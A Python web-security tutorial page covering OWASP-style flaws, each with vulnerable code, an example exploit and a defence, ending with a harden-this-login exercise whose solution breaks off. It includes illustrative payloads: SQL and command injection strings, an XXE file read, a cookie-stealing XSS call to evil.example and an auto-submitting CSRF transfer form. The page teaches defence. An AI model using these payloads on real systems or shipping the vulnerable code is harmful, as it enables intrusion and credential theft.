PythonMastery
intermediate 25 min read · lesson 4 of 4 in Auth & Security

Web Security Checklist

1 · The lesson

read

Examples shown in Flask/FastAPI shape. Run locally with the framework installed; auth flows need a running server. Expected output shown in comments.

You've built authentication, you've hashed your passwords, you've wired up OAuth. None of that helps if your app concatenates SQL strings, runs pickle.load on a webhook body, or ships with DEBUG=True. This lesson is the OWASP-Top-10-flavoured walkthrough of the other security work that has to happen alongside authentication — the ten categories that account for almost every real-world Python web compromise, plus the practical extras the OWASP list doesn't cover (CSRF, rate limiting, dependency auditing, security headers).

Read it as a pre-flight checklist. Each item has the same shape: what it is, how it's exploited, how to defend.


1. Injection

What it is. Building queries or commands by string-concatenating user input.

Exploit. Login form, username field: admin' OR '1'='1' --. Concatenated naively into SQL, it returns the admin user without a password.

python
# CATASTROPHIC
cursor.execute(f"SELECT * FROM users WHERE email = '{email}'")
+ setup added so this can run · defines cursor, email
# Lightweight mock for objects whose attributes/methods aren't critical
class _AutoMock:
    def __init__(self, name='mock'): self._name = name
    def __getattr__(self, k): return _AutoMock(self._name + '.' + k)
    def __call__(self, *a, **kw):
        print('-> ' + self._name + '() called')
        return _AutoMock(self._name + '()')
    def __repr__(self): return '<mock ' + self._name + '>'
    def __str__(self): return '<mock ' + self._name + '>'
    def __bool__(self): return True
    def __iter__(self): return iter([])
    def __len__(self): return 0
    def __getitem__(self, k): return _AutoMock(self._name + '[...]')
    def __setitem__(self, k, v): pass
    def __enter__(self): return self
    def __exit__(self, *a): return False
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def __add__(self, o): return self
    def __radd__(self, o): return self
    def __sub__(self, o): return self
    def __mul__(self, o): return self
    def __rmul__(self, o): return self
    def __truediv__(self, o): return self
    def __eq__(self, o): return isinstance(o, _AutoMock)
    def __hash__(self): return hash(self._name)
    def __lt__(self, o): return True
    def __le__(self, o): return True
    def __gt__(self, o): return False
    def __ge__(self, o): return False
    def __mro_entries__(self, bases): return (object,)

cursor = _AutoMock('cursor')
email = _AutoMock('email')

Defend. Parameterised queries, always. The DB driver substitutes safely:

python
# SAFE
cursor.execute("SELECT * FROM users WHERE email = %s", (email,))
+ setup added so this can run · defines cursor, email
# Lightweight mock for objects whose attributes/methods aren't critical
class _AutoMock:
    def __init__(self, name='mock'): self._name = name
    def __getattr__(self, k): return _AutoMock(self._name + '.' + k)
    def __call__(self, *a, **kw):
        print('-> ' + self._name + '() called')
        return _AutoMock(self._name + '()')
    def __repr__(self): return '<mock ' + self._name + '>'
    def __str__(self): return '<mock ' + self._name + '>'
    def __bool__(self): return True
    def __iter__(self): return iter([])
    def __len__(self): return 0
    def __getitem__(self, k): return _AutoMock(self._name + '[...]')
    def __setitem__(self, k, v): pass
    def __enter__(self): return self
    def __exit__(self, *a): return False
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def __add__(self, o): return self
    def __radd__(self, o): return self
    def __sub__(self, o): return self
    def __mul__(self, o): return self
    def __rmul__(self, o): return self
    def __truediv__(self, o): return self
    def __eq__(self, o): return isinstance(o, _AutoMock)
    def __hash__(self): return hash(self._name)
    def __lt__(self, o): return True
    def __le__(self, o): return True
    def __gt__(self, o): return False
    def __ge__(self, o): return False
    def __mro_entries__(self, bases): return (object,)

cursor = _AutoMock('cursor')
email = _AutoMock('email')

Covered in databases. Same lesson for NoSQL — MongoDB injection via {"$ne": null} is real; never accept raw operator dictionaries from a request body.

Command injection — same class, different surface:

python
# CATASTROPHIC — user="foo; rm -rf /"
subprocess.run(f"convert {user_file} output.png", shell=True)

# SAFE — argument list, no shell
subprocess.run(["convert", user_file, "output.png"])
+ setup added so this can run · defines subprocess, user_file
# Lightweight mock for objects whose attributes/methods aren't critical
class _AutoMock:
    def __init__(self, name='mock'): self._name = name
    def __getattr__(self, k): return _AutoMock(self._name + '.' + k)
    def __call__(self, *a, **kw):
        print('-> ' + self._name + '() called')
        return _AutoMock(self._name + '()')
    def __repr__(self): return '<mock ' + self._name + '>'
    def __str__(self): return '<mock ' + self._name + '>'
    def __bool__(self): return True
    def __iter__(self): return iter([])
    def __len__(self): return 0
    def __getitem__(self, k): return _AutoMock(self._name + '[...]')
    def __setitem__(self, k, v): pass
    def __enter__(self): return self
    def __exit__(self, *a): return False
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def __add__(self, o): return self
    def __radd__(self, o): return self
    def __sub__(self, o): return self
    def __mul__(self, o): return self
    def __rmul__(self, o): return self
    def __truediv__(self, o): return self
    def __eq__(self, o): return isinstance(o, _AutoMock)
    def __hash__(self): return hash(self._name)
    def __lt__(self, o): return True
    def __le__(self, o): return True
    def __gt__(self, o): return False
    def __ge__(self, o): return False
    def __mro_entries__(self, bases): return (object,)

subprocess = _AutoMock('subprocess')
user_file = _AutoMock('user_file')

shell=True with any user input is a recipe for disaster. Always pass a list; never construct command strings by concatenation.


2. Broken Authentication

What it is. Weak password hashing, predictable tokens, missing MFA, leaky errors.

The big ones are already covered: auth-passwords (hashing, sessions, cookies, rate-limiting) and auth-jwt (JWT validation pitfalls). One extra here:

Account enumeration via differentiated errors.

python
# CATASTROPHIC — leaks which emails are registered
if user is None:
    return "no account with that email", 404
if not verify(user.password, supplied):
    return "wrong password", 401

An attacker scrapes a million emails, hits /login for each, and learns which ones have accounts on your site. That's a targeted phishing list.

Defend. Return the same generic error for both branches:

python
if user is None or not verify(user.password, supplied):
    return "invalid credentials", 401

Same response time too — if the missing-user branch is fast and the password-check branch takes 250ms, you've leaked enumeration via timing. Do a dummy hash on the missing-user path:

python
DUMMY_HASH = svc.hash_password("dummy")              # done once at module load

if user is None:
    svc.verify(DUMMY_HASH, supplied)                 # consume the same time
    return "invalid credentials", 401

3. Sensitive Data Exposure

What it is. Secrets, PII, payment data shipped over HTTP, logged in plain text, or stored unencrypted.

Defend, layer by layer:

  • HTTPS everywhere. Let's Encrypt + a reverse proxy (nginx, Caddy) is free. Redirect HTTP → HTTPS at the load balancer. Set the HSTS header (Section 13).
  • Don't log secrets. Mask in repr; never print(dict(os.environ)). See envconfig.
  • Encrypt sensitive fields at rest when they're more sensitive than the DB itself: Stripe keys, integration tokens, anything regulated. The cryptography package's Fernet is the easy primitive:
python from cryptography.fernet import Fernet key = os.environ["FIELD_ENCRYPTION_KEY"] # 32 bytes base64 f = Fernet(key) ciphertext = f.encrypt(b"sk_live_abc123") plaintext = f.decrypt(ciphertext)

4. XML External Entities (XXE)

What it is. XML parsers that resolve external entities can be tricked into reading local files or making network requests.

Exploit. A user uploads:

xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>

Your xml.etree.ElementTree.parse(...) happily reads /etc/passwd and embeds it in the parsed tree.

Defend. Use defusedxml for any XML from an untrusted source:

bash
pip install defusedxml
python
from defusedxml.ElementTree import parse                # NOT xml.etree
tree = parse(uploaded_file)
+ setup added so this can run · defines uploaded_file
# Lightweight mock for objects whose attributes/methods aren't critical
class _AutoMock:
    def __init__(self, name='mock'): self._name = name
    def __getattr__(self, k): return _AutoMock(self._name + '.' + k)
    def __call__(self, *a, **kw):
        print('-> ' + self._name + '() called')
        return _AutoMock(self._name + '()')
    def __repr__(self): return '<mock ' + self._name + '>'
    def __str__(self): return '<mock ' + self._name + '>'
    def __bool__(self): return True
    def __iter__(self): return iter([])
    def __len__(self): return 0
    def __getitem__(self, k): return _AutoMock(self._name + '[...]')
    def __setitem__(self, k, v): pass
    def __enter__(self): return self
    def __exit__(self, *a): return False
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def __add__(self, o): return self
    def __radd__(self, o): return self
    def __sub__(self, o): return self
    def __mul__(self, o): return self
    def __rmul__(self, o): return self
    def __truediv__(self, o): return self
    def __eq__(self, o): return isinstance(o, _AutoMock)
    def __hash__(self): return hash(self._name)
    def __lt__(self, o): return True
    def __le__(self, o): return True
    def __gt__(self, o): return False
    def __ge__(self, o): return False
    def __mro_entries__(self, bases): return (object,)

uploaded_file = _AutoMock('uploaded_file')

Same API as xml.etree, with external entity processing disabled. If you don't need XML, prefer JSON; if you must parse XML, never use the stdlib parsers directly on user input.


5. Broken Access Control — IDOR

What it is. Insecure Direct Object Reference — your endpoint looks up resources by ID without checking the caller owns them.

Exploit.

python
@app.get("/api/orders/<int:order_id>")
@login_required
def get_order(order_id):
    return Order.query.get(order_id).to_json()       # BUG — any logged-in user sees any order
+ setup added so this can run · defines login_required, app, Order
# Lightweight mock for objects whose attributes/methods aren't critical
class _AutoMock:
    def __init__(self, name='mock'): self._name = name
    def __getattr__(self, k): return _AutoMock(self._name + '.' + k)
    def __call__(self, *a, **kw):
        print('-> ' + self._name + '() called')
        return _AutoMock(self._name + '()')
    def __repr__(self): return '<mock ' + self._name + '>'
    def __str__(self): return '<mock ' + self._name + '>'
    def __bool__(self): return True
    def __iter__(self): return iter([])
    def __len__(self): return 0
    def __getitem__(self, k): return _AutoMock(self._name + '[...]')
    def __setitem__(self, k, v): pass
    def __enter__(self): return self
    def __exit__(self, *a): return False
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def __add__(self, o): return self
    def __radd__(self, o): return self
    def __sub__(self, o): return self
    def __mul__(self, o): return self
    def __rmul__(self, o): return self
    def __truediv__(self, o): return self
    def __eq__(self, o): return isinstance(o, _AutoMock)
    def __hash__(self): return hash(self._name)
    def __lt__(self, o): return True
    def __le__(self, o): return True
    def __gt__(self, o): return False
    def __ge__(self, o): return False
    def __mro_entries__(self, bases): return (object,)

login_required = _AutoMock('login_required')
app = _AutoMock('app')
Order = _AutoMock('Order')

Attacker logs in to their own account, fetches /api/orders/1, /api/orders/2, … and walks every order in the database.

Defend. Always scope the query by the current user:

python
@app.get("/api/orders/<int:order_id>")
@login_required
def get_order(order_id):
    order = Order.query.filter_by(id=order_id, user_id=current_user.id).first()
    if order is None:
        abort(404)                                   # 404, not 403 — don't leak existence
    return order.to_json()
+ setup added so this can run · defines login_required, app, abort, Order, current_user
# Lightweight mock for objects whose attributes/methods aren't critical
class _AutoMock:
    def __init__(self, name='mock'): self._name = name
    def __getattr__(self, k): return _AutoMock(self._name + '.' + k)
    def __call__(self, *a, **kw):
        print('-> ' + self._name + '() called')
        return _AutoMock(self._name + '()')
    def __repr__(self): return '<mock ' + self._name + '>'
    def __str__(self): return '<mock ' + self._name + '>'
    def __bool__(self): return True
    def __iter__(self): return iter([])
    def __len__(self): return 0
    def __getitem__(self, k): return _AutoMock(self._name + '[...]')
    def __setitem__(self, k, v): pass
    def __enter__(self): return self
    def __exit__(self, *a): return False
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def __add__(self, o): return self
    def __radd__(self, o): return self
    def __sub__(self, o): return self
    def __mul__(self, o): return self
    def __rmul__(self, o): return self
    def __truediv__(self, o): return self
    def __eq__(self, o): return isinstance(o, _AutoMock)
    def __hash__(self): return hash(self._name)
    def __lt__(self, o): return True
    def __le__(self, o): return True
    def __gt__(self, o): return False
    def __ge__(self, o): return False
    def __mro_entries__(self, bases): return (object,)

login_required = _AutoMock('login_required')
app = _AutoMock('app')
def abort(*_a, **_kw):
    print('-> abort() called')
    return _AutoMock('abort()')
Order = _AutoMock('Order')
current_user = _AutoMock('current_user')

The filter does double duty: it's a permission check and a query in one. Same pattern in any ORM:

python
# Django
Order.objects.get(id=order_id, user=request.user)

# SQLAlchemy
session.query(Order).filter_by(id=order_id, user_id=current_user.id).one()
+ setup added so this can run · defines order_id, Order, request, current_user, session
# Lightweight mock for objects whose attributes/methods aren't critical
class _AutoMock:
    def __init__(self, name='mock'): self._name = name
    def __getattr__(self, k): return _AutoMock(self._name + '.' + k)
    def __call__(self, *a, **kw):
        print('-> ' + self._name + '() called')
        return _AutoMock(self._name + '()')
    def __repr__(self): return '<mock ' + self._name + '>'
    def __str__(self): return '<mock ' + self._name + '>'
    def __bool__(self): return True
    def __iter__(self): return iter([])
    def __len__(self): return 0
    def __getitem__(self, k): return _AutoMock(self._name + '[...]')
    def __setitem__(self, k, v): pass
    def __enter__(self): return self
    def __exit__(self, *a): return False
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def __add__(self, o): return self
    def __radd__(self, o): return self
    def __sub__(self, o): return self
    def __mul__(self, o): return self
    def __rmul__(self, o): return self
    def __truediv__(self, o): return self
    def __eq__(self, o): return isinstance(o, _AutoMock)
    def __hash__(self): return hash(self._name)
    def __lt__(self, o): return True
    def __le__(self, o): return True
    def __gt__(self, o): return False
    def __ge__(self, o): return False
    def __mro_entries__(self, bases): return (object,)

order_id = _AutoMock('order_id')
Order = _AutoMock('Order')
request = _AutoMock('request')
current_user = _AutoMock('current_user')
session = _AutoMock('session')

For admin endpoints, check the role explicitly. For "shared" resources (a doc shared with multiple users), check via a permissions table — but always check, on every request, against the authenticated user.


6. Security Misconfiguration

What it is. Default credentials, debug pages exposed, missing headers, verbose error pages in production.

The Flask one.

python
# CATASTROPHIC in production
app.run(debug=True)                                  # /console with a Python shell!
+ setup added so this can run · defines app
# Lightweight mock for objects whose attributes/methods aren't critical
class _AutoMock:
    def __init__(self, name='mock'): self._name = name
    def __getattr__(self, k): return _AutoMock(self._name + '.' + k)
    def __call__(self, *a, **kw):
        print('-> ' + self._name + '() called')
        return _AutoMock(self._name + '()')
    def __repr__(self): return '<mock ' + self._name + '>'
    def __str__(self): return '<mock ' + self._name + '>'
    def __bool__(self): return True
    def __iter__(self): return iter([])
    def __len__(self): return 0
    def __getitem__(self, k): return _AutoMock(self._name + '[...]')
    def __setitem__(self, k, v): pass
    def __enter__(self): return self
    def __exit__(self, *a): return False
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def __add__(self, o): return self
    def __radd__(self, o): return self
    def __sub__(self, o): return self
    def __mul__(self, o): return self
    def __rmul__(self, o): return self
    def __truediv__(self, o): return self
    def __eq__(self, o): return isinstance(o, _AutoMock)
    def __hash__(self): return hash(self._name)
    def __lt__(self, o): return True
    def __le__(self, o): return True
    def __gt__(self, o): return False
    def __ge__(self, o): return False
    def __mro_entries__(self, bases): return (object,)

app = _AutoMock('app')

debug=True exposes the Werkzeug debugger — an interactive Python console accessible from any browser that hits a 500 page. If your app is ever publicly reachable with that on, treat the box as compromised.

Defend.

  • FLASK_ENV=production and DEBUG=False (or just don't set DEBUG=True) in any non-dev environment.
  • Same for Django: DEBUG=False in prod; ALLOWED_HOSTS populated.
  • No default credentials on admin endpoints. No admin/admin accounts.
  • Don't expose /admin, /.git, /wp-admin (you'd be surprised). Audit your routes.
  • Configure security headers (Section 13).
  • Return generic 500 pages in production, log the full traceback server-side.

7. XSS — Cross-Site Scripting

What it is. User-supplied content rendered into a page without escaping, executing as script in other users' browsers.

Exploit. Comment form: <script>fetch('https://evil.example/?c=' + document.cookie)</script>. The next user who loads the page exfiltrates their session cookie (if it weren't HttpOnly — see auth-passwords Section 8).

Defend.

Jinja2 (Flask) and Django templates auto-escape by default. The trap is |safe:

jinja
{{ comment.body }}            {# safe — escaped #}
{{ comment.body | safe }}     {# DANGEROUS — raw HTML #}

Use |safe only when you've already sanitised the input (e.g. you've run a markdown-to-HTML pass through bleach). Never on raw user input.

For user-supplied URLs in href="...", validate the scheme — javascript: URLs in an <a href> execute JS on click:

python
from urllib.parse import urlparse
def safe_url(url):
    return urlparse(url).scheme in ("http", "https", "")

For JSON APIs that go to a JS frontend, you don't have a server-side template, but the client still needs to escape — never innerHTML = user_content. Use textContent or framework auto-escaping (React, Vue, Svelte).

Never eval() anything that came from a user. Same for exec(). There is no safe use of those on untrusted input.

Defence in depth: Content-Security-Policy header — see Section 13. A strict CSP makes most XSS unexploitable even if you slip up in escaping.


8. Insecure Deserialisation

What it is. Calling pickle.load, yaml.load (unsafe), or marshal.loads on untrusted input.

Exploit. pickle.load is arbitrary code execution by design. An attacker who can supply a pickle byte string runs any Python code in your process:

python
import pickle
# DO NOT — running this on a malicious pickle = RCE
data = pickle.load(uploaded_file)
+ setup added so this can run · defines uploaded_file
# Lightweight mock for objects whose attributes/methods aren't critical
class _AutoMock:
    def __init__(self, name='mock'): self._name = name
    def __getattr__(self, k): return _AutoMock(self._name + '.' + k)
    def __call__(self, *a, **kw):
        print('-> ' + self._name + '() called')
        return _AutoMock(self._name + '()')
    def __repr__(self): return '<mock ' + self._name + '>'
    def __str__(self): return '<mock ' + self._name + '>'
    def __bool__(self): return True
    def __iter__(self): return iter([])
    def __len__(self): return 0
    def __getitem__(self, k): return _AutoMock(self._name + '[...]')
    def __setitem__(self, k, v): pass
    def __enter__(self): return self
    def __exit__(self, *a): return False
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def __add__(self, o): return self
    def __radd__(self, o): return self
    def __sub__(self, o): return self
    def __mul__(self, o): return self
    def __rmul__(self, o): return self
    def __truediv__(self, o): return self
    def __eq__(self, o): return isinstance(o, _AutoMock)
    def __hash__(self): return hash(self._name)
    def __lt__(self, o): return True
    def __le__(self, o): return True
    def __gt__(self, o): return False
    def __ge__(self, o): return False
    def __mro_entries__(self, bases): return (object,)

uploaded_file = _AutoMock('uploaded_file')

Defend. Pickles are for trusted, internal data — cache files your own server wrote, queue payloads on a private network. Never from a public endpoint, never from a webhook body.

  • For JSON, json.loads is safe — JSON doesn't execute code.
  • For YAML, yaml.safe_load, not yaml.load. The latter can instantiate arbitrary Python objects.
  • For schema-validated parsing, Pydantic or marshmallow with explicit field types. The schema acts as a typed allowlist.

9. Components with Known Vulnerabilities

What it is. Your requirements.txt contains a library with a published CVE.

Exploit. Someone scans your site, fingerprints the framework/version, looks up the CVE, exploits.

Defend. Scan your dependencies. Two tools:

bash
pip install pip-audit
pip-audit                                            # scans the active env

# or, in CI
pip-audit --requirement requirements.txt
bash
pip install safety
safety check

pip-audit is maintained by PyPA and uses the official PyPI vulnerability database. Run it in CI on every PR — automated in GitHub Actions (see devops-github-actions). Failing the build on a critical CVE is cheap insurance.

Update regularly. Pinned-and-never-updated dependencies become liabilities. Dependabot or Renovate automates the PRs.


10. Insufficient Logging & Monitoring

What it is. You can't respond to an incident you can't see.

Defend. Log, at minimum:

  • Authentication events — success, failure, lockouts.
  • Authorisation failures — 403s, IDOR-blocked attempts.
  • Admin actions — user role changes, deletions, config changes.
  • Anything money-related — payments, refunds, balance changes.

What NOT to log:

  • Passwords. Ever.
  • Full session tokens or JWTs.
  • Credit card numbers (PCI scope).
  • Full request bodies on auth endpoints.

Ship logs to an aggregator — Sentry, Datadog, Loki, CloudWatch. The fact that the log line exists on the production box doesn't help when the box itself is compromised.

Have an incident response plan, even if it's a one-page doc: who's paged, what's the first action, how do we communicate to users. Practicing it once a year beats reading a polished plan for the first time at 3 AM.


11. CSRF — Cross-Site Request Forgery

What it is. A malicious site triggers an authenticated request to your site from the user's browser — credentials (cookies) ride along automatically.

Exploit. User is logged into bank.com (auth cookie set). User visits evil.com, which has:

html
<form action="https://bank.com/transfer" method="POST">
    <input name="to" value="attacker-account">
    <input name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>

Browser sends the POST to bank.com with the auth cookie. Bank server, knowing nothing's amiss, transfers the money.

Defend.

  • SameSite=Lax (or Strict) on the session cookie. Single most effective defence. Modern browsers default to Lax, but set it explicitly.
  • CSRF tokens for cookie-authenticated forms. Flask-WTF and Django both provide them by default. FastAPI doesn't have built-in CSRF — add it (fastapi-csrf-protect library, or roll the double-submit pattern).
  • Bearer-token APIs are not vulnerable. The browser doesn't automatically attach an Authorization header; the JS code on evil.com would have to know the token and add it manually, which is the XSS problem, not CSRF.

Cookie-authenticated browsers need CSRF protection. Token-authenticated APIs don't (but they need other defences — see XSS and storage discussion in auth-jwt Section 7).


12. Rate Limiting

What it is. Limits on requests per IP, per user, per endpoint.

Why. Login brute-force, password-reset spam, scraping, denial-of-wallet on metered APIs, comment flooding. All cheap attacks against an unprotected endpoint.

Tools:

FrameworkLibrary
Flaskflask-limiter
FastAPIslowapi
Djangodjango-ratelimit
python
# Flask
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(app, key_func=get_remote_address, default_limits=["1000 per hour"])

@app.post("/login")
@limiter.limit("5 per minute")
def login():
    ...

@app.post("/api/expensive")
@limiter.limit("10 per minute")
def expensive():
    ...
+ setup added so this can run · defines app
# Lightweight mock for objects whose attributes/methods aren't critical
class _AutoMock:
    def __init__(self, name='mock'): self._name = name
    def __getattr__(self, k): return _AutoMock(self._name + '.' + k)
    def __call__(self, *a, **kw):
        print('-> ' + self._name + '() called')
        return _AutoMock(self._name + '()')
    def __repr__(self): return '<mock ' + self._name + '>'
    def __str__(self): return '<mock ' + self._name + '>'
    def __bool__(self): return True
    def __iter__(self): return iter([])
    def __len__(self): return 0
    def __getitem__(self, k): return _AutoMock(self._name + '[...]')
    def __setitem__(self, k, v): pass
    def __enter__(self): return self
    def __exit__(self, *a): return False
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def __add__(self, o): return self
    def __radd__(self, o): return self
    def __sub__(self, o): return self
    def __mul__(self, o): return self
    def __rmul__(self, o): return self
    def __truediv__(self, o): return self
    def __eq__(self, o): return isinstance(o, _AutoMock)
    def __hash__(self): return hash(self._name)
    def __lt__(self, o): return True
    def __le__(self, o): return True
    def __gt__(self, o): return False
    def __ge__(self, o): return False
    def __mro_entries__(self, bases): return (object,)

app = _AutoMock('app')

Tighter limits on the dangerous endpoints (login, signup, password reset, anything with a side effect on a third-party API). Looser limits on read endpoints.

For distributed deployments, back the limiter with Redis so all instances share the counter — without that, a 5-per-minute limit becomes 5-per-minute-per-instance.


13. Security Headers

A handful of HTTP response headers materially reduce attack surface. Set them once, everywhere.

HeaderWhat it does
Strict-Transport-Security (HSTS)Tells browsers "only ever load this site over HTTPS." max-age=31536000; includeSubDomains; preload.
Content-Security-PolicyRestricts where scripts/styles/images can load from. Top XSS defence-in-depth.
X-Frame-Options: DENYPrevents your site being framed (clickjacking defence). Superseded by CSP frame-ancestors, but still respected by older browsers.
X-Content-Type-Options: nosniffBrowsers don't second-guess Content-Type — closes a class of MIME-confusion attacks.
Referrer-Policy: strict-origin-when-cross-originStops leaking URL paths (and any tokens in query strings) to third-party sites.
Permissions-PolicyDisables browser features your site doesn't need (camera, mic, geolocation).

Don't roll these by hand. The libraries that do it for you:

bash
# Flask
pip install flask-talisman
python
from flask_talisman import Talisman
Talisman(app, content_security_policy={
    "default-src": "'self'",
    "script-src": "'self' https://cdn.example.com",
    "style-src":  "'self' 'unsafe-inline'",
    "img-src":    "'self' data:",
})
+ setup added so this can run · defines app
# Lightweight mock for objects whose attributes/methods aren't critical
class _AutoMock:
    def __init__(self, name='mock'): self._name = name
    def __getattr__(self, k): return _AutoMock(self._name + '.' + k)
    def __call__(self, *a, **kw):
        print('-> ' + self._name + '() called')
        return _AutoMock(self._name + '()')
    def __repr__(self): return '<mock ' + self._name + '>'
    def __str__(self): return '<mock ' + self._name + '>'
    def __bool__(self): return True
    def __iter__(self): return iter([])
    def __len__(self): return 0
    def __getitem__(self, k): return _AutoMock(self._name + '[...]')
    def __setitem__(self, k, v): pass
    def __enter__(self): return self
    def __exit__(self, *a): return False
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def __add__(self, o): return self
    def __radd__(self, o): return self
    def __sub__(self, o): return self
    def __mul__(self, o): return self
    def __rmul__(self, o): return self
    def __truediv__(self, o): return self
    def __eq__(self, o): return isinstance(o, _AutoMock)
    def __hash__(self): return hash(self._name)
    def __lt__(self, o): return True
    def __le__(self, o): return True
    def __gt__(self, o): return False
    def __ge__(self, o): return False
    def __mro_entries__(self, bases): return (object,)

app = _AutoMock('app')

For FastAPI, the secure package, or middleware that sets the headers explicitly. For Django, django-csp plus the built-in security middleware.

Check your site against Mozilla Observatory (observatory.mozilla.org) — it grades your headers and tells you what's missing.


14. CSRF Protection — The Code

The cleanest pattern, beyond what the framework gives you, is double-submit cookie: a random token in a cookie and in a request header; the server checks they match. Frameworks have it built in:

python
# Flask-WTF
from flask_wtf.csrf import CSRFProtect
CSRFProtect(app)                                     # all POST/PUT/DELETE require the token
+ setup added so this can run · defines app
# Lightweight mock for objects whose attributes/methods aren't critical
class _AutoMock:
    def __init__(self, name='mock'): self._name = name
    def __getattr__(self, k): return _AutoMock(self._name + '.' + k)
    def __call__(self, *a, **kw):
        print('-> ' + self._name + '() called')
        return _AutoMock(self._name + '()')
    def __repr__(self): return '<mock ' + self._name + '>'
    def __str__(self): return '<mock ' + self._name + '>'
    def __bool__(self): return True
    def __iter__(self): return iter([])
    def __len__(self): return 0
    def __getitem__(self, k): return _AutoMock(self._name + '[...]')
    def __setitem__(self, k, v): pass
    def __enter__(self): return self
    def __exit__(self, *a): return False
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def __add__(self, o): return self
    def __radd__(self, o): return self
    def __sub__(self, o): return self
    def __mul__(self, o): return self
    def __rmul__(self, o): return self
    def __truediv__(self, o): return self
    def __eq__(self, o): return isinstance(o, _AutoMock)
    def __hash__(self): return hash(self._name)
    def __lt__(self, o): return True
    def __le__(self, o): return True
    def __gt__(self, o): return False
    def __ge__(self, o): return False
    def __mro_entries__(self, bases): return (object,)

app = _AutoMock('app')

In the template, render {{ csrf_token() }} into a hidden form input. Done.

For SPAs with cookie auth, expose the CSRF token via a Set-Cookie without HttpOnly (so JS can read it) and require it as a custom header on every state-changing request.


15. Input Validation at Boundaries

Never trust client-side validation alone. It's there for UX; the security check happens on the server.

  • FastAPI: Pydantic models are the validation. Field types, regex constraints, min/max — declarative, run on every request, fail loudly.
  • Django: forms (forms.Form) and DRF serializers.
  • Flask: WTForms, pydantic, or marshmallow — pick one and use it everywhere.
python
from pydantic import BaseModel, EmailStr, conint

class SignupRequest(BaseModel):
    email: EmailStr
    age: conint(ge=13, le=150)
    name: str                                        # FastAPI will reject if missing

A malformed request is rejected at the parsing step, before any business logic runs. Saves an entire class of "the field was null and we trusted it" bugs.


16. Secret Management

For local dev: .env plus python-dotenv, gitignored — see envconfig.

For production:

ToolWhere it fits
AWS Secrets ManagerAWS-native; automatic rotation.
GCP Secret ManagerGCP-native equivalent.
Azure Key VaultAzure equivalent.
HashiCorp VaultSelf-hosted, multi-cloud, fine policy.
Doppler / 1Password SecretsHosted developer-friendly.

All inject secrets into the process environment, so your code keeps reading os.environ["X"]. No secret ever lives in the repo.


17. Common Mistakes

1. Trusting client-side validation alone. Devtools removes any required attribute in three clicks. Validate on the server, always.

2. Security by obscurity. A "hidden" /admin-secret-7f3a URL is one log leak away from being public. The URL is not the security boundary — the auth check is.

3. Rolling your own crypto. Same point as in auth-passwords. You will lose to a researcher with a CVE-numbering form on speed-dial.

4. Turning off CSRF "because it's annoying". It's annoying because your form is missing the token field. Don't disable; fix the form.

5. Accidentally logging passwords. A debug logger.info(f"form: {request.form}") ships every password to your log aggregator. Audit any logging on auth endpoints.

6. pip install from a typo. Typosquatting — pip install python-dateutils (extra s) installs a malicious package. Spell carefully; use a pip lockfile (pip-tools, uv, Poetry) that records exact names and hashes.

7. DEBUG=True in production. Werkzeug debugger or Django's verbose 500s leak source code, env vars, sometimes a live Python shell. Pin DEBUG=False, fail loudly on startup if it's True outside dev.

8. CORS too permissive. Access-Control-Allow-Origin: * plus Allow-Credentials: true is a credential-leakage configuration. Use a strict allowlist of origins.


🎯 Your Turn — Harden a Vulnerable Flask Endpoint

You're handed a deliberately-insecure login endpoint. It has at least four problems:

1. SQL injection — email is concatenated into the query.
2. Account enumeration — different error messages for "no such user" vs "wrong password".
3. No CSRF protection — POST endpoint, cookie-authenticated, no token.
4. No rate limit — open to brute-force.

Produce a hardened version. Use argon2-cffi for password verification (assume users table stores argon2 hashes).

Skeleton:

python
import sqlite3
from flask import Flask, request, session

app = Flask(__name__)
app.secret_key = "DEBUG-not-for-prod"                # FIX 0: use os.environ in real life

DB = sqlite3.connect("app.db", check_same_thread=False)

@app.post("/login")
def login_vulnerable():
    email = request.form["email"]
    password = request.form["password"]

    # BUG 1 — SQL injection
    row = DB.execute(f"SELECT id, password FROM users WHERE email = '{email}'").fetchone()
    if row is None:
        # BUG 2 — distinct error reveals "no such user"
        return "no account with that email", 404

    user_id, stored_hash = row
    if stored_hash != password:                      # BUG: comparing plaintext (also: not hashed)
        return "wrong password", 401

    # BUG 3 — no CSRF defence on this cookie-auth POST
    # BUG 4 — no rate limit, brute-force open
    session["user_id"] = user_id
    return "ok"
Hint 1 — Fix in the right order 1. Parameterise the query ("... WHERE email = ?", (email,)). 2. Replace plaintext compare with PasswordService.verify(...) from auth-passwords. 3. Return one generic error for both branches; do a dummy-hash on the missing-user path to equalise timing. 4. Add flask-limiter decorator. 5. Add CSRFProtect(app) at the top.
Hint 2 — Session fixation while you're there Once the password check passes, session.clear() before writing session["user_id"] — defeats session fixation (see auth-passwords Section 9). Free win on the same line.
Show full solution
python
import os
import sqlite3
from flask import Flask, request, session
from flask_wtf.csrf import CSRFProtect
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError, VerifyError

app = Flask(__name__)
app.secret_key = os.environ["FLASK_SECRET"]                  # FIX 0: env-driven, never hardcoded
app.config.update(
    SESSION_COOKIE_HTTPONLY=True,
    SESSION_COOKIE_SECURE=True,
    SESSION_COOKIE_SAMESITE="Lax",
)

CSRFProtect(app)                                             # FIX 3: CSRF tokens enforced

limiter = Limiter(app=app, key_func=get_remote_address)      # FIX 4: rate limiting

DB = sqlite3.connect("app.db", check_same_thread=False)
ph = PasswordHasher()

# One dummy hash, computed at startup, used to equalise login timing on missing users
_DUMMY_HASH = ph.hash("dummy-password-not-real")


@app.post("/login")
@limiter.limit("5 per minute; 50 per hour")                  # FIX 4
def login():
    email = request.form.get("email", "").strip().lower()
    password = request.form.get("password", "")

